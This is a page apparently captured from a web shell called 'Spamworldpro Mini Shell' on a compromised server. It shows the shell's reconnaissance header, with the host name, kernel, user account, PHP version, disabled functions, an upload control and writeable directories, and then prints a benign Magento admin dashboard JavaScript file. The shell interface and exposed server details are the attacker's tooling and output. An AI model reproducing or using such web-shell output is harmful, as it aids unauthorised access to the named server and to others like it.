Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-backend/view/adminhtml/web/js/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-backend/view/adminhtml/web/js/dashboard/totals.js
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/*global FORM_KEY*/
define([
    'jquery',
    'jquery-ui-modules/widget'
], function ($) {
    'use strict';

    $.widget('mage.dashboardTotals', {
        options: {
            updateUrl: '',
            periodSelect: null
        },
        elementId: null,

        /**
         * @private
         */
        _create: function () {
            this.elementId = $(this.element).attr('id');

            if (this.options.periodSelect) {
                $(document).on('change', this.options.periodSelect, $.proxy(function () {
                    this.refreshTotals();
                }, this));
            }
        },

        /**
         * @public
         */
        refreshTotals: function () {
            var periodParam = '';

            if (this.options.periodSelect && $(this.options.periodSelect).val()) {
                periodParam = 'period/' + $(this.options.periodSelect).val() + '/';
            }

            $.ajax({
                url: this.options.updateUrl + periodParam,
                showLoader: true,
                data: {
                    'form_key': FORM_KEY
                },
                dataType: 'html',
                type: 'POST',
                success: $.proxy(function (response) {
                    $('#' + this.elementId).replaceWith(response);
                }, this)
            });
        }
    });

    return $.mage.dashboardTotals;
});

Spamworldpro Mini